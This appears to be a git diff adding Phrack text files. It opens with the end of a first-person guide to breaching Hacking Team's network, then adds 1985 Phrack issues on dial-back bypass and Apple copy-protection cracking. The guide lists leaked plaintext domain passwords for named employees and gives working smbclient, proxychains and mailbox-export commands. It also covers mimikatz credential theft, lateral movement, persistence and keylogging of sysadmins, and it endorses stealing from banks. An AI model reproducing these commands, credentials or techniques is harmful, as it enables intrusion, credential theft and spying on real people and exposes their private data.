+ lsadump [1] on the registry hives. lsadump found the password to the besadmin
521
+ service account:
522
+
523
+ _SC_BlackBerry MDS Connection Service
524
+ 0000 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
525
+ 0010 62 00 65 00 73 00 33 00 32 00 36 00 37 00 38 00 b.e.s.3.2.6.7.8.
526
+ 0020 21 00 21 00 21 00 00 00 00 00 00 00 00 00 00 00 !.!.!...........
527
+
528
+ I used proxychains [2] with the socks server on the embedded device and
529
+ smbclient [3] to check the password:
530
+ proxychains smbclient '//192.168.100.51/c$' -U 'hackingteam.local/besadmin%bes32678!!!'
531
+
532
+ It worked! The password for besadmin was still valid, and a local admin. I
533
+ used my proxy and metasploit's psexec_psh [4] to get a meterpreter session.
534
+ Then I migrated to a 64 bit process, ran "load kiwi" [5], "creds_wdigest", and
535
+ got a bunch of passwords, including the Domain Admin:
536
+
537
+ HACKINGTEAM BESAdmin bes32678!!!
538
+ HACKINGTEAM Administrator uu8dd8ndd12!
539
+ HACKINGTEAM c.pozzi P4ssword <---- lol great sysadmin
540
+ HACKINGTEAM m.romeo ioLK/(90
541
+ HACKINGTEAM l.guerra 4luc@=.=
542
+ HACKINGTEAM d.martinez W4tudul3sp
543
+ HACKINGTEAM g.russo GCBr0s0705!
544
+ HACKINGTEAM a.scarafile Cd4432996111
545
+ HACKINGTEAM r.viscardi Ht2015!
546
+ HACKINGTEAM a.mino A!e$$andra
547
+ HACKINGTEAM m.bettini Ettore&Bella0314
548
+ HACKINGTEAM m.luppi Blackou7
549
+ HACKINGTEAM s.gallucci 1S9i8m4o!
550
+ HACKINGTEAM d.milan set!dob66
551
+ HACKINGTEAM w.furlan Blu3.B3rry!
552
+ HACKINGTEAM d.romualdi Rd13136f@#
553
+ HACKINGTEAM l.invernizzi L0r3nz0123!
554
+ HACKINGTEAM e.ciceri 2O2571&2E
555
+ HACKINGTEAM e.rabe erab@4HT!
556
+
557
+ [1] https://github.com/Neohapsis/creddump7
558
+ [2] http://proxychains.sourceforge.net/
559
+ [3] https://www.samba.org/
560
+ [4] http://ns2.elhacker.net/timofonica/manuales/Manual_de_Metasploit_Unleashed.pdf
561
+ [5] https://github.com/gentilkiwi/mimikatz
562
+
563
+
564
+ --[ 11 - Downloading the mail ]-------------------------------------------------
565
+
566
+ With the Domain Admin password, I have access to the email, the heart of the
567
+ company. Since with each step I take there's a chance of being detected, I
568
+ start downloading their email before continuing to explore. Powershell makes
569
+ it easy [1]. Curiously, I found a bug with Powershell's date handling. After
570
+ downloading the emails, it took me another couple weeks to get access to the
571
+ source code and everything else, so I returned every now and then to download
572
+ the new emails. The server was Italian, with dates in the format
573
+ day/month/year. I used:
574
+ -ContentFilter {(Received -ge '05/06/2015') -or (Sent -ge '05/06/2015')}
575
+
576
+ with New-MailboxExportRequest to download the new emails (in this case all
577
+ mail since June 5). The problem is it says the date is invalid if you
578
+ try a day larger than 12 (I imagine because in the US the month comes first
579
+ and you can't have a month above 12). It seems like Microsoft's engineers only
580
+ test their software with their own locale.
581
+
582
+ [1] http://www.stevieg.org/2010/07/using-the-exchange-2010-sp1-mailbox-export-features-for-mass-exports-to-pst/
583
+
584
+
585
+ --[ 12 - Downloading Files ]----------------------------------------------------
586
+
587
+ Now that I'd gotten Domain Admin, I started to download file shares using my
588
+ proxy and the -Tc option of smbclient, for example:
589
+
590
+ proxychains smbclient '//192.168.1.230/FAE DiskStation' \
591
+ -U 'HACKINGTEAM/Administrator%uu8dd8ndd12!' -Tc FAE_DiskStation.tar '*'
592
+
593
+ I downloaded the Amministrazione, FAE DiskStation, and FileServer folders in
594
+ the torrent like that.
595
+
596
+
597
+ --[ 13 - Introduction to hacking windows domains ]------------------------------
598
+
599
+ Before continuing with the story of the "weones culiaos" (Hacking Team), I
600
+ should give some general knowledge for hacking windows networks.
601
+
602
+
603
+ ----[ 13.1 - Lateral Movement ]-------------------------------------------------
604
+
605
+ I'll give a brief review of the different techniques for spreading withing a
606
+ windows network. The techniques for remote execution require the password or
607
+ hash of a local admin on the target. By far, the most common way of obtaining
608
+ those credentials is using mimikatz [1], especially sekurlsa::logonpasswords
609
+ and sekurlsa::msv, on the computers where you already have admin access. The
610
+ techniques for "in place" movement also require administrative privileges
611
+ (except for runas). The most important tools for privilege escalation are
612
+ PowerUp [2], and bypassuac [3].
613
+
614
+ [1] https://adsecurity.org/?page_id=1821
615
+ [2] https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp
616
+ [3] https://github.com/PowerShellEmpire/Empire/blob/master/data/module_source/privesc/Invoke-BypassUAC.ps1
617
+
618
+
619
+ Remote Movement:
620
+
621
+ 1) psexec
622
+
623
+ The tried and true method for lateral movement on windows. You can use
624
+ psexec [1], winexe [2], metasploit's psexec_psh [3], Powershell Empire's
625
+ invoke_psexec [4], or the builtin windows command "sc" [5]. For the
626
+ metasploit module, powershell empire, and pth-winexe [6], you just need the
627
+ hash, not the password. It's the most universal method (it works on any
628
+ windows computer with port 445 open), but it's also the least stealthy.
629
+ Event type 7045 "Service Control Manager" will appear in the event logs. In
630
+ my experience, no one has ever noticed during a hack, but it helps the
631
+ investigators piece together what the hacker did afterwards.
632
+
633
+ 2) WMI
634
+
635
+ The most stealthy method. The WMI service is enabled on all windows
636
+ computers, but except for servers, the firewall blocks it by default. You
637
+ can use wmiexec.py [7], pth-wmis [6] (here's a demonstration of wmiexec and
638
+ pth-wmis [8]), Powershell Empire's invoke_wmi [9], or the windows builtin
639
+ wmic [5]. All except wmic just need the hash.
640
+
641
+ 3) PSRemoting [10]
642
+
643
+ It's disabled by default, and I don't recommend enabling new protocols.
644
+ But, if the sysadmin has already enabled it, it's very convenient,
645
+ especially if you use powershell for everything (and you should use
646
+ powershell for almost everything, it will change [11] with powershell 5 and
647
+ windows 10, but for now powershell makes it easy to do everything in RAM,
648
+ avoid AV, and leave a small footprint)
649
+
650
+ 4) Scheduled Tasks
651
+
652
+ You can execute remote programs with at and schtasks [5]. It works in the
653
+ same situations where you could use psexec, and it also leaves a well known
654
+ footprint [12].
655
+
656
+ 5) GPO
657
+
658
+ If all those protocols are disabled or blocked by the firewall, once you're
659
+ Domain Admin, you can use GPO to give users a login script, install an msi,
660
+ execute a scheduled task [13], or, like we'll see with the computer of
661
+ Mauro Romeo (one of Hacking Team's sysadmins), use GPO to enable WMI and
662
+ open the firewall.
663
+
664
+ [1] https://technet.microsoft.com/en-us/sysinternals/psexec.aspx
665
+ [2] https://sourceforge.net/projects/winexe/
666
+ [3] https://www.rapid7.com/db/modules/exploit/windows/smb/psexec_psh
667
+ [4] http://www.powershellempire.com/?page_id=523
668
+ [5] http://blog.cobaltstrike.com/2014/04/30/lateral-movement-with-high-latency-cc/
669
+ [6] https://github.com/byt3bl33d3r/pth-toolkit
670
+ [7] https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py
671
+ [8] https://www.trustedsec.com/june-2015/no_psexec_needed/
672
+ [9] http://www.powershellempire.com/?page_id=124
673
+ [10] http://www.maquinasvirtuales.eu/ejecucion-remota-con-powershell/
674
+ [11] https://adsecurity.org/?p=2277
675
+ [12] https://www.secureworks.com/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems
676
+ [13] https://github.com/PowerShellEmpire/Empire/blob/master/lib/modules/lateral_movement/new_gpo_immediate_task.py
677
+
678
+
679
+ "In place" Movement:
680
+
681
+ 1) Token Stealing
682
+
683
+ Once you have admin access on a computer, you can use the tokens of the
684
+ other users to access resources in the domain. Two tools for doing this are
685
+ incognito [1] and the mimikatz token::* commands [2].
686
+
687
+ 2) MS14-068
688
+
689
+ You can take advantage of a validation bug in Kerberos to generate Domain
690
+ Admin tickets [3][4][5].
691
+
692
+ 3) Pass the Hash
693
+
694
+ If you have a user's hash, but they're not logged in, you can use
695
+ sekurlsa::pth [2] to get a ticket for the user.
696
+
697
+ 4) Process Injection
698
+
699
+ Any RAT can inject itself into other processes. For example, the migrate
700
+ command in meterpreter and pupy [6], or the psinject [7] command in
701
+ powershell empire. You can inject into the process that has the token you
702
+ want.
703
+
704
+ 5) runas
705
+
706
+ This is sometimes very useful since it doesn't require admin privileges.
707
+ The command is part of windows, but if you don't have a GUI you can use
708
+ powershell [8].
709
+
710
+ [1] https://www.indetectables.net/viewtopic.php?p=211165
711
+ [2] https://adsecurity.org/?page_id=1821
712
+ [3] https://github.com/bidord/pykek
713
+ [4] https://adsecurity.org/?p=676
714
+ [5] http://www.hackplayers.com/2014/12/CVE-2014-6324-como-validarse-con-cualquier-usuario-como-admin.html
715
+ [6] https://github.com/n1nj4sec/pupy
716
+ [7] http://www.powershellempire.com/?page_id=273
717
+ [8] https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-Runas.ps1
718
+
719
+
720
+ ----[ 13.2 - Persistence ]------------------------------------------------------
721
+
722
+ Once you have access, you want to keep it. Really, persistence is only a
723
+ challenge for assholes like Hacking Team who target activists and other
724
+ individuals. To hack companies, persistence isn't needed since companies never
725
+ sleep. I always use Duqu 2 style "persistence", executing in RAM on a couple
726
+ high-uptime servers. On the off chance that they all reboot at the same time,
727
+ I have passwords and a golden ticket [1] as backup access. You can read more
728
+ about the different techniques for persistence in windows here [2][3][4]. But
729
+ for hacking companies, it's not needed and it increases the risk of detection.
730
+
731
+ [1] http://blog.cobaltstrike.com/2014/05/14/meterpreter-kiwi-extension-golden-ticket-howto/
732
+ [2] http://www.harmj0y.net/blog/empire/nothing-lasts-forever-persistence-with-empire/
733
+ [3] http://www.hexacorn.com/blog/category/autostart-persistence/
734
+ [4] https://blog.netspi.com/tag/persistence/
735
+
736
+
737
+ ----[ 13.3 - Internal reconnaissance ]------------------------------------------
738
+
739
+ The best tool these days for understanding windows networks is Powerview [1].
740
+ It's worth reading everything written by it's author [2], especially [3], [4],
741
+ [5], and [6]. Powershell itself is also quite powerful [7]. As there are still
742
+ many windows 2000 and 2003 servers without powershell, you also have to learn
743
+ the old school [8], with programs like netview.exe [9] or the windows builtin
744
+ "net view". Other techniques that I like are:
745
+
746
+ 1) Downloading a list of file names
747
+
748
+ With a Domain Admin account, you can download a list of all filenames in
749
+ the network with powerview:
750
+
751
+ Invoke-ShareFinderThreaded -ExcludedShares IPC$,PRINT$,ADMIN$ |
752
+ select-string '^(.*) \t-' | %{dir -recurse $_.Matches[0].Groups[1] |
753
+ select fullname | out-file -append files.txt}
754
+
755
+ Later, you can read it at your leisure and choose which files to download.
756
+
757
+ 2) Reading email
758
+
759
+ As we've already seen, you can download email with powershell, and it has a
760
+ lot of useful information.
761
+
762
+ 3) Reading sharepoint
763
+
764
+ It's another place where many businesses store a lot of important
765
+ information. It can also be downloaded with powershell [10].
766
+
767
+ 4) Active Directory [11]
768
+
769
+ It has a lot of useful information about users and computers. Without being
770
+ Domain Admin, you can already get a lot of info with powerview and other
771
+ tools [12]. After getting Domain Admin, you should export all the AD
772
+ information with csvde or another tool.
773
+
774
+ 5) Spy on the employees
775
+
776
+ One of my favorite hobbies is hunting sysadmins. Spying on Christian Pozzi
777
+ (one of Hacking Team's sysadmins) gave me access to a Nagios server which
778
+ gave me access to the rete sviluppo (development network with the source
779
+ code of RCS). With a simple combination of Get-Keystrokes and
780
+ Get-TimedScreenshot from PowerSploit [13], Do-Exfiltration from nishang
781
+ [14], and GPO, you can spy on any employee, or even on the whole domain.
782
+
783
+ [1] https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView
784
+ [2] http://www.harmj0y.net/blog/tag/powerview/
785
+ [3] http://www.harmj0y.net/blog/powershell/veil-powerview-a-usage-guide/
786
+ [4] http://www.harmj0y.net/blog/redteaming/powerview-2-0/
787
+ [5] http://www.harmj0y.net/blog/penetesting/i-hunt-sysadmins/
788
+ [6] http://www.slideshare.net/harmj0y/i-have-the-powerview
789
+ [7] https://adsecurity.org/?p=2535
790
+ [8] https://www.youtube.com/watch?v=rpwrKhgMd7E
791
+ [9] https://github.com/mubix/netview
792
+ [10] https://blogs.msdn.microsoft.com/rcormier/2013/03/30/how-to-perform-bulk-downloads-of-files-in-sharepoint/
793
+ [11] https://adsecurity.org/?page_id=41
794
+ [12] http://www.darkoperator.com/?tag=Active+Directory
795
+ [13] https://github.com/PowerShellMafia/PowerSploit
796
+ [14] https://github.com/samratashok/nishang
797
+
798
+
799
+ --[ 14 - Hunting Sysadmins ]----------------------------------------------------
800
+
801
+ Reading their documentation about their infrastructure [1], I saw that I was
802
+ still missing access to something important - the "Rete Sviluppo", an isolated
803
+ network with the source code for RCS. The sysadmins of a company always have
804
+ access to everything, so I searched the computers of Mauro Romeo and Christian
805
+ Pozzi to see how they administer the Sviluppo network, and to see if there
806
+ were any other interesting systems I should investigate. It was simple to
807
+ access their computers, since they were part of the windows domain where I'd
808
+ already gotten admin access. Mauro Romeo's computer didn't have any ports
809
+ open, so I opened the port for WMI [2] and executed meterpreter [3]. In
810
+ addition to keylogging and screen scraping with Get-Keystrokes and
811
+ Get-TimeScreenshot, I used many /gather/ modules from metasploit, CredMan.ps1
812
+ [4], and searched for interesting files [5]. Upon seeing that Pozzi had a
813
+ Truecrypt volume, I waited until he'd mounted it and then copied off the
814
+ files. Many have made fun of Christian Pozzi's weak passwords (and of
815
+ Christian Pozzi in general, he provides plenty of material [6][7][8][9]). I
816
+ included them in the leak as a false clue, and to laugh at him. The reality is
817
+ that mimikatz and keyloggers view all passwords equally.
818
+
819
+ [1] http://hacking.technology/Hacked%20Team/FileServer/FileServer/Hackingteam/InfrastrutturaIT/
820
+ [2] http://www.hammer-software.com/wmigphowto.shtml
821
+ [3] https://www.trustedsec.com/june-2015/no_psexec_needed/
822
+ [4] https://gallery.technet.microsoft.com/scriptcenter/PowerShell-Credentials-d44c3cde
823
+ [5] http://pwnwiki.io/#!presence/windows/find_files.md
824
+ [6] http://archive.is/TbaPy
825
+ [7] http://hacking.technology/Hacked%20Team/c.pozzi/screenshots/
826
+ [8] http://hacking.technology/Hacked%20Team/c.pozzi/Desktop/you.txt
827
+ [9] http://hacking.technology/Hacked%20Team/c.pozzi/credentials/
828
+
829
+
830
+ --[ 15 - The bridge ]-----------------------------------------------------------
831
+
832
+ Within Christian Pozzi's Truecrypt volume, there was a textfile with many
833
+ passwords [1]. One of those was for a Fully Automated Nagios server, which had
834
+ access to the Sviluppo network in order to monitor it. I'd found the bridge I
835
+ needed. The textfile just had the password to the web interface, but there was
836
+ a public code execution exploit [2] (it's an unauthenticated exploit, but it
837
+ requires that at least one user has a session initiated, for which I used the
838
+ password from the textfile).
839
+
840
+ [1] http://hacking.technology/Hacked%20Team/c.pozzi/Truecrypt%20Volume/Login%20HT.txt
841
+ [2] http://seclists.org/fulldisclosure/2014/Oct/78
842
+
843
+
844
+ --[ 16 - Reusing and resetting passwords ]--------------------------------------
845
+
846
+ Reading the emails, I'd seen Daniele Milan granting access to git repos. I
847
+ already had his windows password thanks to mimikatz. I tried it on the git
848
+ server and it worked. Then I tried sudo and it worked. For the gitlab server
849
+ and their twitter account, I used the "forgot my password" function along with
850
+ my access to their mail server to reset the passwords.
851
+
852
+
853
+ --[ 17 - Conclusion ]-----------------------------------------------------------
854
+
855
+ That's all it takes to take down a company and stop their human rights abuses.
856
+ That's the beauty and asymmetry of hacking: with 100 hours of work, one person
857
+ can undo years of work by a multi-million dollar company. Hacking gives the
858
+ underdog a chance to fight and win.
859
+
860
+ Hacking guides often end with a disclaimer: this information is for
861
+ educational purposes only, be an ethical hacker, don't attack systems you
862
+ don't have permission to, etc. I'll say the same, but with a more rebellious
863
+ conception of "ethical" hacking. Leaking documents, expropriating money from
864
+ banks, and working to secure the computers of ordinary people is ethical
865
+ hacking. However, most people that call themselves "ethical hackers" just work
866
+ to secure those who pay their high consulting fees, who are often those most
867
+ deserving to be hacked.
868
+
869
+ Hacking Team saw themselves as part of a long line of inspired Italian design
870
+ [1]. I see Vincenzetti, his company, his cronies in the police, Carabinieri,
871
+ and government, as part of a long tradition of Italian fascism. I'd like to
872
+ dedicate this guide to the victims of the raid on the Armando Diaz school, and
873
+ to all those who have had their blood spilled by Italian fascists.
874
+
875
+ [1] https://twitter.com/coracurrier/status/618104723263090688
876
+
877
+
878
+ --[ 18 - Contact ]--------------------------------------------------------------
879
+
880
+ To send me spear phishing attempts, death threats in Italian [1][2], and to
881
+ give me 0days or access inside banks, corporations, governments, etc.
882
+
883
+ [1] http://andres.delgado.ec/2016/01/15/el-miedo-de-vigilar-a-los-vigilantes/
884
+ [2] https://twitter.com/CthulhuSec/status/619459002854977537
885
+
886
+ only encrypted email please:
887
+ https://securityinabox.org/es/thunderbird_usarenigmail
888
+ -----BEGIN PGP PUBLIC KEY BLOCK-----
889
+
890
+ mQENBFVp37MBCACu0rMiDtOtn98NurHUPYyI3Fua+bmF2E7OUihTodv4F/N04KKx
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912
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913
+ Mf2vA3oqf22vgWQbK1MOK/4Tp6MGg/VR2SaKAsqyAZC7l5TeoSPN5HdEgA7u5GpB
914
+ D0lLGUSkx24yD1sIAGEZ4B57VZNBS0az8HoQeF0k
915
+ =E5+y
916
+ -----END PGP PUBLIC KEY BLOCK-----
917
+
918
+
919
+
920
+ If not you, who? If not now, when?
921
+ _ _ _ ____ _ _
922
+ | | | | __ _ ___| | __ | __ ) __ _ ___| | _| |
923
+ | |_| |/ _` |/ __| |/ / | _ \ / _` |/ __| |/ / |
924
+ | _ | (_| | (__| < | |_) | (_| | (__| <|_|
925
+ |_| |_|\__,_|\___|_|\_\ |____/ \__,_|\___|_|\_(_)
phrack/issue1/1.txt ADDED
@@ -0,0 +1,48 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ _ _ _______
2
+ | \/ | / _____/
3
+ |_||_|etal/ /hop
4
+ _________/ /
5
+ /__________/
6
+ (314)432-0756
7
+ 24 Hours A Day, 300/1200 Baud
8
+
9
+ Presents....
10
+
11
+ ==Phrack Inc.==
12
+ Volume One, Issue One, Phile 1 of 8
13
+
14
+ Introduction...
15
+
16
+ Welcome to the Phrack Inc. Philes. Basically, we are a group of phile writers
17
+ who have combined our philes and are distributing them in a group. This
18
+ newsletter-type project is home-based at Metal Shop. If you or your group are
19
+ interested in writing philes for Phrack Inc. you, your group, your BBS, or any
20
+ other credits will be included. These philes may include articles on telcom
21
+ (phreaking/hacking), anarchy (guns and death & destruction) or kracking. Other
22
+ topics will be allowed also to an certain extent. If you feel you have some
23
+ material that's original, please call and we'll include it in the next issue
24
+ possible. Also, you are welcomed to put up these philes on your BBS/AE/Catfur/
25
+ Etc. The philes will be regularly available on Metal Shop. If you wish to say
26
+ in the philes that your BBS will also be sponsering Phrack Inc., please leave
27
+ feedback to me, Taran King stating you'd like your BBS in the credits. Later
28
+ on.
29
+
30
+ TARAN KING
31
+ 2600 CLUB!
32
+ METAL SHOP SYSOP
33
+
34
+
35
+ This issue is Volume One, Issue One, released on November 17, 1985. Included
36
+ are:
37
+ 1 This Introduction to Phrack Inc. by Taran King
38
+ 2 SAM Security Article by Spitfire Hacker
39
+ 3 Boot Tracing on Apple by Cheap Shades
40
+ 4 The Fone Phreak's Revenge by Iron Soldier
41
+ 5 MCI International Cards by Knight Lightning
42
+ 6 How to Pick Master Locks by Gin Fizz and Ninja NYC
43
+ 7 How to Make an Acetylene Bomb by The Clashmaster
44
+ 8 School/College Computer Dial-Ups by Phantom Phreaker
45
+
46
+ Call Metal Shop and leave feedback saying the phile topic and where you got
47
+ these philes to get your article in Phrack Inc.
48
+
phrack/issue1/2.txt ADDED
@@ -0,0 +1,49 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ _ _ _______
2
+ | \/ | / _____/
3
+ |_||_|etal/ /hop
4
+ _________/ /
5
+ /__________/
6
+ (314)432-0756
7
+ 24 Hours A Day, 300/1200 Baud
8
+
9
+ Presents...
10
+
11
+ ==Phrack Inc.==
12
+ Volume One, Issue One, Phile 2 of 8
13
+
14
+ ::>Hacking SAM - A Description Of The Dial-Up Security System<::
15
+ ::>Written by Spitfire Hacker<::
16
+
17
+ SAM is a security system that is being used in many colleges
18
+ today as a security feature against intrusion from the outside. This
19
+ system utilizes a dial-back routine which is very effective. To
20
+ access the computer, you must first dial the port to which SAM is
21
+ hooked up. The port for one such college is located at (818) 885-
22
+ 2082. After you have called, SAM will answer the phone, but will make
23
+ no other responses (no carrier signals). At this point, you must
24
+ punch in a valid Login Identification Number on a push-button phone.
25
+ The number is in this format -- xxyyyy -- where xx is, for the number
26
+ mentioned above, 70. 'yyyy' is the last 4 digits of the valid user's
27
+ telephone number.
28
+ If a valid LIN is entered, SAM will give one of 3 responses:
29
+ 1) A 1 second low tone
30
+ 2) A 1 second alternating high/low tone
31
+ 3) A tone burst
32
+
33
+ Responses 1 and 2 indicate that SAM has accepted your passcode and is
34
+ waiting for you to hang up. After you hang up, it will dial the valid
35
+ users phone number and wait for a second signal.
36
+
37
+ Response 3 indicates that all of the outgoing lines are busy.
38
+
39
+ If SAM accepts your passcode, you will have to tap into the valid
40
+ users line and intercept SAM when it calls. If you do this, then hit
41
+ the '*' key on your phone. SAM will respond with a standard carrier,
42
+ and you are in!
43
+
44
+ That's all that I have hacked out so far, I will write more
45
+ information on the subject later.
46
+
47
+ -%>Spitfire Hacker<%-
48
+ 2600 Club!
49
+
phrack/issue1/3.txt ADDED
@@ -0,0 +1,152 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ==Phrack Inc.==
2
+ Volume One, Issue One, Phile 3 of 8
3
+
4
+ //////////////////////////////////////////////////////////////////////////////
5
+ / /
6
+ / Boot Tracing Made Easy /
7
+ / Written by /
8
+ / ________________ /
9
+ / \Cheap/ \Shades/ /
10
+ / \___/ \____/ /
11
+ / 2600 CLUB! /
12
+ / /
13
+ //////////////////////////////////////////////////////////////////////////////
14
+ \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
15
+ \ \
16
+ \ Be sure to call \
17
+ \ \
18
+ \ Kleptic Palice......(314)527-5551 \
19
+ \ 5 Meg BBS/AE/CF \
20
+ \ Metal Shop..........(314)432-0756 \
21
+ \ Elite BBS (Home of 2600 CLUB! \
22
+ \ and Phrack Inc. ) \
23
+ \ \
24
+ \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
25
+
26
+ About 3 or four years ago, a real good friend of mine was teaching a ML
27
+ Programming course for the Apple 2 series. I, being a good friend and
28
+ quite bored, asked him about cracking Apple games. He told me that he had
29
+ spent the last summer cracking programs. He showed me a method that he came
30
+ up with entirely on his own, boot tracing. Little did he know that this was
31
+ already quite popular but he developed his own method for doing it which from
32
+ reading other files about it, is the simplest I've ever seen. (To give you
33
+ an idea, I had SN0GGLE (I've never played the game but a friend had it on
34
+ disk.) completely loaded into memory ready to be dumped in about 12 minutes.)
35
+ Ok, first of all, ALL programs can be boot traced. The only thing is that some
36
+ may not be easily converted into files. The only programs that you should try
37
+ if you aren't real good at ML, are ones that load completely into memory. Also
38
+ to do this you will need a cassette recorder. (don't worry the program we will
39
+ save won't take too long to save, and if all goes well it will only be saved
40
+ loaded once.) I hate learning the theory behind anything so I'm not gonna
41
+ give any theory behind this. If you want the theory, read some other phile
42
+ that does this the hard way.
43
+
44
+ First make sure your cassette recoder works by BLOADing some program and
45
+ typing:
46
+ CALL -151
47
+ AA60.AA73
48
+ You'll see something that looks like this:
49
+ AA60-30 02 xx xx xx xx xx xx
50
+ AA68-xx xx xx xx xx xx xx xx
51
+ AA70-xx xx 00 08
52
+ or whatever...The 30 02 is the length ($0230 bytes). The 00 08 is the starting
53
+ address ($0800). Oh well, now you need to try and save the program. Type:
54
+ 800.A2FW (A2F=$800+$230-1)
55
+ 1000<800.A2FM
56
+ 800:00 N 801<800.A2FM
57
+ 800.A2FR
58
+ 1000<800.A2FV
59
+
60
+ Once you are sure that the cassette works, (by the way do be stupid and try
61
+ that on a //c!) we can get to the good stuff...
62
+ First move the ROM boot-up code into RAM...(all steps will be from the
63
+ monitor * prompt.)
64
+ 8600<C600.C6FFM
65
+ 86F9:5C FF
66
+ (Now load in step 1 of the boot.)
67
+ 8600G
68
+ C0E8 (turn the drive off)
69
+ (Now you have successfully loaded in track 0 sector 0) Now since we won't want
70
+ to overwrite what we've loaded in this time, Type:
71
+ 8500<800.8FFM
72
+ 86F9:01 85
73
+ 8501L
74
+ Lets see what you've gotten...
75
+ First see if they move this part into the keyboard buffer. (A lot of programs
76
+ do this and the boot trace files that I've read don't even deal with this.)
77
+ LDX 00
78
+ LDA 800,X
79
+ STA 200,X
80
+ INX
81
+ BNE $803
82
+ JMP $211 (or any $2xx)
83
+ (sometimes done with Y's instead of X's.)
84
+ Then the next part will scramble what's in $08xx. but we don't have to worry
85
+ about that. Anyways find that JMP $2xx and change it to 4C xx 85 leaving the
86
+ xx the same. Usually this will be the next address but just to be safe...
87
+ Ok, now scan the code for any other JMP's if you find one that's direct
88
+ (indirect ones have the address in parenthesis) change it to 4C 5C FF, but
89
+ write down the location that it used to jump to first so you know where to
90
+ look. It'll probably be 301 or B700. If it's the B700, you got lucky. If it's
91
+ the 301 then you've got some more work ahead. If it was an indirect JMP, most
92
+ likely it was JMP ($003E). No if you change that to 4C 5C FF then check 3E
93
+ from monitor you'll find that 3E is 00 and 3F is 3E...Monitor uses that
94
+ place in zero page for its current memory location. So what you need to do is
95
+ 8400:A5 3F 00 20 DA FD A5 3E 20 DA FD 4C 5C FF
96
+ then change that indirect jump to
97
+ 85xx:4C 00 84
98
+ (by the way if the indirect jump is anything other than 3E then most likely
99
+ you can can just look at it from monitor if not write a little routine like
100
+ the one above to print out the address hidden. (Oh, check the location after
101
+ the next run. For now change it to 4C 5C FF.))
102
+ Anyways this little game will probably go on no longer than 2 or 3 loads, each
103
+ time just move the newly loaded part to another part of memory and change the
104
+ jump to jump to monitor (4C 5C FF) and the jump from the part before it to
105
+ go to the moved code.
106
+ When you find the part that JMP's up to a high area of memory (usually $B700)
107
+ you're almost done. The exit routine of the will most likely be the start of
108
+ the program. Once you intercept it there, all you have to do now is save it to
109
+ cassette and re-load DOS. The starting address for saving should be the
110
+ address that the B700 routine exits through. If this is higher than $6000 then
111
+ start saving at $2000 to get the Hi-Res pictures. Using WXYZ as your starting
112
+ address type:
113
+ WXYZ.9CFFW (This will have the main program.)
114
+ 800.WXYZW (Save this are in case there is something needed down here we
115
+ don't have to start over from scratch.)
116
+ Ok now reboot:
117
+ C600G (with a DOS disk in the drive!)
118
+ CALL -151
119
+ WXYZ.9CFFR
120
+ Bsave PROGRAM,A$WXYZ,L$(Whatever 9CFF-WXYZ+1 is)
121
+ If the it gives you an error the file is too big. A quick DOS patch to fix
122
+ that is:
123
+ A964:FF
124
+ and try again.
125
+ Now that the program is saved, try and run it. (It's a good idea to take the
126
+ disk out of the drive, there's no telling what the program might try and do
127
+ if it sees that DOS is loaded in.)
128
+ WXYZG
129
+ (If it works, just to make sure that it's a good crack, power down the system
130
+ and try and BRUN it after a cold boot.)
131
+ If your saved the pictures with the program, most likely, it won't run. You
132
+ need to add a JMP at 1FFD to JMP to the main program. Then re-BSAVE it with a
133
+ starting address of A$1FFD, and add 3 to the length. If the program tries to
134
+ go to the drive while its running, I'd suggest giving up unless you really
135
+ understand non-DOS disk usage. (but if you did you probably wouldn't be
136
+ reading this.) If you get a break at an address less than $2000 then you need
137
+ to load in the second program that you saved to cassette. Put a jump in at
138
+ $800 to the main program and save the whole damn thing. If it still don't work
139
+ you're gonna need to really get fancy.
140
+ Now that you've got the thing running, it's time to figure out what is used and
141
+ what is just wasted memory. This is where I really can't help you but just
142
+ make sure that you keep a working copy and before every test power down the
143
+ machine to clear anything that might be remaining.
144
+
145
+ Have phun and good luck.....
146
+ ________________
147
+ \Cheap/ \Shades/
148
+ \___/ \____/
149
+ 2600 CLUB!
150
+
151
+ Be sure and get a copy of PHRACK INC., available on finer BBS/AE's everywhere.
152
+
phrack/issue1/4.txt ADDED
@@ -0,0 +1,97 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ _ _ _______
2
+ | \/ | / _____/
3
+ |_||_|etal/ /hop
4
+ _________/ /
5
+ /__________/
6
+ (314)432-0756
7
+ 24 Hours A Day, 300/1200 Baud
8
+
9
+ Presents...
10
+
11
+ ==Phrack Inc.==
12
+
13
+ Volume One, Issue One, Phile 4 of 8
14
+
15
+ THE PHONE PHREAK'S FRY-UM GUIDE
16
+
17
+
18
+ COMPILED BY THE IRON SOLDIER
19
+
20
+ WITH HELP FROM DR. DOVE
21
+
22
+
23
+ NOTE: THIS GUIDE IS STILL BEING COMPILED, AND AS PHONE PHREAKS LEARN
24
